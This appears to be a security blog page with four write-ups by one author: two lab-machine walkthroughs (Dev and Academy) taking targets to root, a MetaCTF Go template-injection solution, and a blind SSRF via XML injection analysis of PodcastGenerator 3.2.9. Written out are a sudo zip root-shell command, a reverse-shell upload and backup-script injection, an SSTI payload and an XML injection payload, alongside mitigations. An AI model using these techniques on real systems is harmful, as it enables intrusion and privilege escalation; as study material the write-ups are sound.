Dev Machine Walkthrough — Practical Pentesting Journey from Recon to Root

The Dev machine

The Dev machine blends web exploitation, file share enumeration, and privilege escalation into one smooth learning curve.

Let me walk you through how this system was compromised step by step. Along the way, I’ll explain the reasoning. 

Reconnaissance

The first step was identifying running services on the target machine. Performed full port scan using Nmap. The scan revealed the following open ports:

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs      3-4 (RPC #100003)
8080/tcp  open  http     Apache httpd 2.4.38 ((Debian))
_http-title: PHP 7.3.27-1~deb10u1 - phpinfo()

The system was running OpenSSH 7.9 and Apache 2.4.38 on Debian, confirming a Linux environment. Since SSH required authentication, enumeration focused on web services.

SSH required credentials, so attacking it directly would be pointless… at least for now. That pushed the focus toward web services.

Web Enumeration

Port 80

Opening the website displayed a Bolt CMS installation error page, indicating the presence of Bolt and possible configuration files.

The current folder, /var/www/html/, is a Linux folder, and based on this information, it appears that the machine is running Linux. 

Port 8080

Displayed a PHP info page, which revealed server configuration details and internal paths useful for further enumeration.

Directory Fuzzing

Directory fuzzing helps uncover endpoints developers forget to secure. Using the FuFF tool made this process fast and reliable.

> fuff -w <wordlist_location>:FUZZ -u http://<targetIP>/FUZZ

Fuzzing both ports revealed several directories:

• public
• src
• app
• dev

The /dev directory hosted a BoltWire application. The registration module was enabled, allowing account creation and access to application features.

BoltWire Vulnerability

Researching BoltWire revealed it had a known Local File Inclusion (LFI) vulnerability tied to the print parameter.

Endpoint : http://192.168.22.8:8080/dev/index.php?p=action.search&action=print

By adjusting the request, the /etc/passwd file became accessible. That file exposed a valid system user jeanpaul

The archive contents were extracted and used for further correlation. 

But that wasn’t the only discovery. Several directories also allowed directory listing, exposing configuration files and application details.

NFS Enumeration

Port 2049 indicated the presence of Network File System (NFS). If misconfigured, NFS can expose sensitive data without authentication. 

NFS is a protocol that allows systems to share, mount, and access the files over the network. 

showmount is a tool to see which directories the server has and who is allowed to access them.

Command - > showmount -e <target_IP>
using namp 
Command - > nmap -p 2049 --script nfs-ls,nfs-showmount,nfs-statfs <target_ip>

The showmount tool result revealed a shared directory: /srv/nfs.

Use the Linux built-in mount tool using the below command and look for the available file.

> mount -t nfs 192.168.22.8:/srv/nfs </tmp/nfs_mount>

Inside the share sat a file named save.zip. It looked harmless… Zip files in shared directories, however, are rarely harmless.

Cracking the ZIP File

Attempting to unzip the file required a password. Instead of guessing randomly, the fcrackzip tool helped automate the process using a wordlist.

> fcrackzip -v -u -D -p <location>/rockyou.txt save.zip

-v - Verbose mode
-u - Unzip - try to unzip the file with the password
-D - Dictionary mode.
-p - The path to the the list rockyou.txt
save.zip - the target. 

Discovered password: java101

The archive contents were extracted and used for further correlation.

Configuration Files

An earlier directory listing revealed a configuration file:

app/config/config.yml

Opening this file exposed credential details. These credentials were tested against SSH.

SSH Access - Stepping Inside the System

The password itself didn’t grant direct access, but it worked with an id_rsa private key belonging to the user jeanpaul.

Private keys bypass password authentication and allow secure SSH login.

Using the private key:

ssh -i id_rsa jeanpaul@192.168.22.8

Access was successful. Now the focus shifted to privilege escalation, the phase where attackers attempt to gain root access.

Sudo permissions were checked

sudo -l

showed that the user could run /usr/bin/zip with root privileges without needing a password.

GTFOBins Escalation - Turning Zip into a Root Shell

Some programs, including zip, allow execution of system commands while running. If such a program runs as root → the command you execute also runs as root.

This is known as a GTFOBins privilege escalation technique.

> sudo zip /tmp/test.zip /tmp -T --unzip-command="sh -c /bin/bash"

• sudo - executes the command as root
• zip - starts executing with root privileges
• -unzip-command - forces zip to execute a shell
• /bin/bash - The shell command.

This executed a root shell and completed system compromise.

Just navigate to the flag.txt file, and Game Over. 

Machines like Dev highlight several real-world security mistakes:

• Debug pages should never remain publicly accessible
• Directory listing exposes sensitive files faster than most exploits
• NFS shares require strict access control
• Configuration files often leak credentials
• Sudo permissions must be tightly restricted

Interestingly, none of the individual vulnerabilities felt devastating alone. But together? They created a full compromise chain. 

Happy Hacking!! 

Read More

Academy Walkthrough: A Study in Chaining Misconfigurations to Root Access

Academy

In this walkthrough of the "Academy" machine, we explore how a forgotten note, weak encryption, and improper file permissions can lead to a complete system takeover. Deep Log Analysis is used to uncover clear text credentials, and SUDO Exploitation is used to escalate privileges to the highest level.

Tools: nmap, ffuf, hash-identifier, Hashcat, Linpeas.

Level: Intermediate level

Enumeration

Started with a standard Nmap scan to identify open ports and services.

nmap -A -p- -T4 <machine_IP>

Nmap result:

21/tcp open  ftp     vsftpd 3.0.3 
ftp-anon: Anonymous FTP login allowed. note.txt
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian)) anonymous

Key Findings

• Port 21 (FTP): vsftpd 3.0.3 is running with anonymous login allowed. The scan revealed an interesting file named note.txt, which is our primary point of interest.
• Port 22 (SSH): OpenSSH is exposed, suggesting we might find credentials later to log in.
• Port 80 (HTTP): A standard Apache web server is running. If FTP hits a dead end, it will enumerate web directories here.

Why investigate FTP first?

Anonymous FTP access is a legacy configuration that administrators frequently overlook. It frequently overlooks the legacy configuration that allows anonymous FTP access. It frequently contains files—backups, notes, or configuration scripts—that were intended to be temporary but were never removed.

> ftp <machine IP>

After successfully logging in with FTP, try to access the note.txt file.

Anonymous FTP access turned out to be very informative. Inside, we found note.txt, which contained an SQL INSERT statement intended for the backend database.

This file unintentionally leaked a specific user record, identifying StudentRegno (10201321) as our login username and containing a 32-character password hash (cd73502828457d15655bbd7a63fb0bc8).

Cracking Weak Cryptography

To crack the password hash, I used the hashcat tool. But first, we need to determine what type of hash it is, so I use the hash-identifier tool.

It confirmed that it’s MD5. To crack this hash, I used Hashcat tool and the rockyou.txt password file with the following command.

> hashcat -m 0 hash.txt <rockyou file location>

Woot! We successfully cracked the hash and now have the password (student) for StudentRegno (10201321).

Web Exploitation.

Okay, so far, so good. According to the nmap response, we also have port 80 open, so navigate to the website using the machine IP and enumerate port 80.

When we visit the website, it receives the default Apache 2 Debian page.

No, as such information appeared on the page, proceed to perform directory fuzzing on the endpoint using the ffuf tool with the following command.

command : fuff -w <wordlist location>:FUZZ -u <url>/FUZZ

This revealed the two directories.

academy, phpmyadmin

Navigating to the /academy directory presented a login page. The cracked credentials (10201321 / student) successfully authenticated the session.

Yahh! Successfully logged in.

Upon accessing the "My Profile" section, it was discovered that the application failed to validate file uploads. This allowed for the upload of malicious PHP files.

let’s upload the .php reverse shell https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php .

Manipulate the shell PHP file and add the attacker's machine IP and update the port, then run the Netcat listener.

After uploading the shell file, access it using the page's view source code feature.

noticed the netcat listener response.

We got a shell, which is great, but not as a root user, as shown by the command whoami, which displays the www-data user rather than the root user.

So now what's next? We need to perform root user privilege escalation, and that's where the fun begins.

I’m going to use the tool LinPEAS (https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS).

Linpease is an automated tool that goes out and does hunting for possible paths to escalate privileges on Linux/Unix*/MacOS hosts.

To use this tool, you need to start the Python server on the linpeas file location.

Using this server, use the wget command to download the linpeas file to the already connected target machine.

To change the file permissions, run the command chmod +x <filename> after successfully loading it on the target machine.

Run the file ./linpease.sh and look at the results.

The critical information and endpoints we received in the response are highlighted in red. One backup.sh file endpoint from the grimmie user has administrative privileges. The second option is password.

Let's see what the var/www/html/academy/includes/config.php endpoint contained.

The file contains the username grimmie and the password "My_V3ryS3cur3_P4ss."

Now, since we already know that the ssh port is open on the machine, let's connect with the following command

> ssh grimmie@<machine_IP>
enter the password : My_V3ryS3cur3_P4ss

Once you've successfully entered the machine, look for the backup.sh file. manipulate the file with nano command and Inject the one-liner Bash reverse shell code with the attacker's machine IP and save the file.

It runs as root, so when the backup.sh script is run, the attacker gains root access.

Now, use the cat and ls commands to find the flag.txt file.

Summary :

Initial Vector: Information disclosure via Anonymous FTP (note.txt).

Access: Cracking the MD5 hash found in the note to access the web application. Foothold: Unrestricted file upload leading to Remote Code Execution (RCE).

Privilege Escalation: Clear-text credentials in PHP config files (Lateral Movement) $\rightarrow$ Exploiting a writable script running with root privileges.

Happy Hacking!!

Read More

MetaCTF ⚑ Write-Ups

 MetaCTF ⚑

Challenge categories: Web Exploitation

Challenge Name: Library

Challenge Link: https://compete.metactf.com/291/problems

Tools: Manually.

Challenge Description:

In this challenge, we are performing a penetration test on a small book library app built in the Go language that appears to exhibit some abnormal behaviour. The app is designed to process book requests, but certain endpoints return unexpected responses. The objective is to identify the root cause—whether it’s a coding bug, improper input validation, or potentially a security vulnerability in the request handling. This exercise will challenge your ability to analyze code logic and identify security flaws that could compromise the app's functionality or expose it to attacks.

The challenge description contained the source code download link with a live web application to perform the penetration testing.

Application Dashboard:

Open the provided link in the browser to access the library dashboard, where we can find a welcome message and a list of available books. You can also view the details of each book.

Source Code Review:

Download the application's source code using the given link in the challenge description.

The application source code file contained two “.html“ files and one “main.go” file, which contained all the backed code of the application.

The home.html file contains an HTML template snippet that is likely used in a Go (Golang) web application. It dynamically generates a list of books, with each book title rendered as a hyperlink. The syntax {{range .}} indicates the use of Go's templating engine, which is commonly used for web applications built using Go.

<home.html>

In the above image, the <ul> element creates an unordered list that will be dynamically populated with <li> (list items). The {{range.}} syntax is part of Go’s templating system and is used for iterating over a collection. The dot (.) represents the current context passed into the template, which in this case likely refers to a list of book objects. This indicates that the template expects to receive a slice or array of books, with each book being iterated over within the {{range.}} block.

In the range loop, a list item (<li>) is created for each book in the collection.

The <a href="/books?book={{.Param}}">{{.Title}}</a> tag adds a clickable link for each book. The link is used {{.Param}} as a query parameter, which is likely a unique ID or identifier for the book. Inside the link, {{.Title}} displays the book's title as clickable text.

The {{end}} marks the end of the {{range .}} loop, indicating where the iteration stops.

<book.html>

This HTML template is designed to display the content of a single book in a web application. It uses Go templating syntax to dynamically render the book's content inside the <p> tag.

In the above image, the <p> tag is used to display a paragraph of text. {{.}} is Go's template syntax, where the dot (.) refers to the current data passed to the template. In this case, it represents a string of book content. When the page loads, {{.}} will be replaced with the actual content of the book.

The Go file (main.go) is a simple web server application that provides book-related content via Go's HTTP package and templating engine. It defines a ReadBook structure with a method that reads a file's content and returns it as a string while handling any file reading errors.

The application stores a hardcoded map of books (books), with each key-value pair representing a book identifier and description. The application also includes two HTTP handlers: homeHandler, which generates a homepage listing available books using the home.html template, and bookHandler, which retrieves and displays individual book content based on the query parameter book using the book.html template.

<main.go>

Vulnerable Code: The provided Go code is vulnerable to Server-Side Template Injection (SSTI) in the bookHandler function. below the vulnerable part of the code.

This part of the code takes the book query parameter from the URL (userBook) and directly passes it to the template.New("book").Parse() function, without any sanitization or validation.

This can result in template injection if an attacker supplies malicious input through the book parameter. Since Go templates allow for the execution of code within {{ ... }} attacker could potentially inject arbitrary template code that gets executed on the server.

To get the flag from the server, we have to use the constructed below payload.

Payload: /books?book={{.ReadBook%20"flag.txt"}}

In this payload the {{.ReadBook "flag.txt"}} is a Go template syntax where .ReadBook refers to the ReadBook method defined in the application. The injected payload attempts to call the ReadBook method to read a file called "flag.tx".

Exploitation Part:

Step 1. Open the link given in the challenge description.

Step 2. Click on any list data and the URL contains the book parameter which is vulnerable to SSTI. 

Step 3: Inject the crafted payload on the book parameter for the flag.

Mitigation Part

To mitigate the SSTI risk:

Remove Dynamic Parsing: Never send user input directly to the template parser.

Validate Input: Use only predefined values (such as book IDs) in the template and reject any untrusted or unexpected entries.

Fixed Code for bookHandler function

func bookHandler(w http.ResponseWriter, r *http.Request) {
    userBook := r.URL.Query().Get("book")
    bookContent, validBook := books[userBook]

    if validBook {
        tmpl := template.Must(template.ParseFiles("templates/book.html"))
        tmpl.Execute(w, bookContent)
        return
    }

    http.Error(w, "No valid book specified", http.StatusBadRequest)
}

• Removed Dynamic Template Parsing: The template.New("book").Parse(userBook) section has been removed to avoid processing untrusted input.
• Only Predefined Books: The code now only renders templates for books that exist in the books map, preventing arbitrary template execution.

Reference: Server-side template injection: https://portswigger.net/web-security/server-side-template-injection

HackTricks: https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#ssti-in-go

Payatu : https://payatu.com/blog/ssti-in-golang/

w3school : https://www.w3schools.com/go/

_____________________________________________________________________
Connect: LinkedIn: https://www.linkedin.com/in/sudeeplamsoge/

Twitter : https://x.com/SudeepLamsoge

Comments & Suggestions are always welcome. :)

Read More

In-depth analysis of CVE: PodcastGenerator 3.2.9—Blind SSRF via XML Injection.

Application: Podcast Generator

Vulnerable Version: v3.2.9

Vulnerable version link: https://github.com/PodcastGenerator/PodcastGenerator/releases

Vulnerability Description:

Podcast Generator (PG) is an open-source content management system written in PHP, specifically designed for podcast publishing. It provides users with tools to easily manage all aspects of podcast publication, from uploading episodes to submitting them to the Podcast Index and iTunes store.

In this write-up, we'll explore a Blind Server-Side Request Forgery (SSRF) via XML injection attack in depth, including a practical understanding of the source code and payload.

Lab Setup:

Download the vulnerable application from the provided link. We'll use a localhost XAMPP server for this demonstration.

Download the XAMPP server: https://www.apachefriends.org/download.html

1. Set up the Apache and MySQL servers using XAMPP.
   
   
   
   
   
2. Unzip the downloaded Podcast Generator file to the server location:
   "C:\xampp\htdocs\<project name>".
   
   
   
   
   
3. Open your web browser and navigate to the URL where you uploaded the Podcast Generator files (e.g., http://localhost:8080/PodcastGenerator).
   
   
   
   
   

Source Code Analysis:

After logging into the application, you'll notice a feature called "Upload New Episode".

When adding a new episode, the application creates an XML file to store the data instead of using a database.

Since the application uses an XML file for data storage, we can attempt an XML entity injection attack. Further analysis reveals that the application lacks input validation on its parameters.

In the episodes_upload.php file, the $_POST['shortdesc'] function accesses data sent via an HTTP POST request from an HTML form, specifically the input named shortdesc (short description).

The strlen() PHP function calculates the string length, checking if the short description exceeds 255 characters. However, the $_POST['shortdesc'] input is passed directly into the strlen() function without sanitization or validation, potentially exposing the application to cross-site scripting or injection attacks.

Due to this lack of validation, we can perform an XML entity injection attack and escalate it to a blind SSRF attack. But first, let's understand what blind SSRF and XML entity injection attacks are.

Blind SSRF:

Blind SSRF vulnerabilities occur when an application makes a request to a back-end server, but the server's response isn't shown on the front-end.

To detect a Blind SSRF attack, we can trigger an HTTP request to an external system under our control and monitor for network interactions, such as using Burp Suite Collaborator.

XML Injection:

XML entity injection, also known as XML External Entity (XXE) attack, involves an attacker interacting with the server using XML data.

Some applications use XML format to exchange data between server and browser.

Using an XML injection attack, an attacker can perform various actions, such as retrieving sensitive files or conducting an SSRF attack via XXE.

Exploiting Blind SSRF:

As the application creates an XML file to store data, we can exploit this vulnerability by injecting an XML payload.

Payload:

test]]></shortdescPG><imgPG path="">http://localhost:3132</imgPG><shortdescPG><![CDATA[test

When adding normal data, the application stores the short description input value in the <![CDATA[]]> section.

Note that the "testing" data is added to the CDATA section, and to balance the query, we must add the mentioned payload.

The image below shows the difference between adding normal data and the payload, demonstrating how to balance the payload to exploit the blind SSRF attack.

Payload Breakdown:

test]]></shortdescPG><imgPG path=""><http://localhost:3132></imgPG><shortdescPG><![CDATA[test

The <shortdescPG> tag uses CDATA, which likely just stores text and doesn't directly contribute to the SSRF.

The key part of the payload is the URL http://localhost:3132 inside the <imgPG> tag. If the application processes this payload by taking the content between the <imgPG> tags and performs a server-side request (e.g., to fetch an image or resource), an attacker can exploit this by sending the server to a location under their control (such as localhost, internal services, or external servers).

The URL http://localhost:2222 suggests the attacker is attempting to force the server to make a request to a local service on port 2222.

Exploitation Part:

Step 1. Log into the application using the URL:
http://localhost:8080/PodcastGenerator/admin/

Step 2. Navigate to "Upload New Episodes" under "Episodes".

Step 3. Add the following payload to the short description parameter, with the listener on port 2222, then click save:

payload:

test]]></shortdescPG><imgPG path=""><http://localhost:2222></imgPG><shortdescPG><![CDATA[test

Listen on the port using Netcat (NC) on port 2222

Step 4. Open the submitted podcast data and observe the response from the server.

WOOT!, We have successfully received the hit back from the server.

Mitigation Part: 

• Implement strict input validation and sanitization mechanisms to ensure that XML input from untrusted sources does not contain malicious content, including external entities.
• Always utilize a strong database so that the input is validated from both the server and the client sides.
• Ensure that all systems and applications are updated with the latest security patches offered by the vendor.

Hope you understand the blind SSRF via XML injection in depth.

Comments and suggestions are welcome.

LinkedIn: https://www.linkedin.com/in/sudeeplamsoge/
Twitter : https://x.com/SudeepLamsoge 

Read More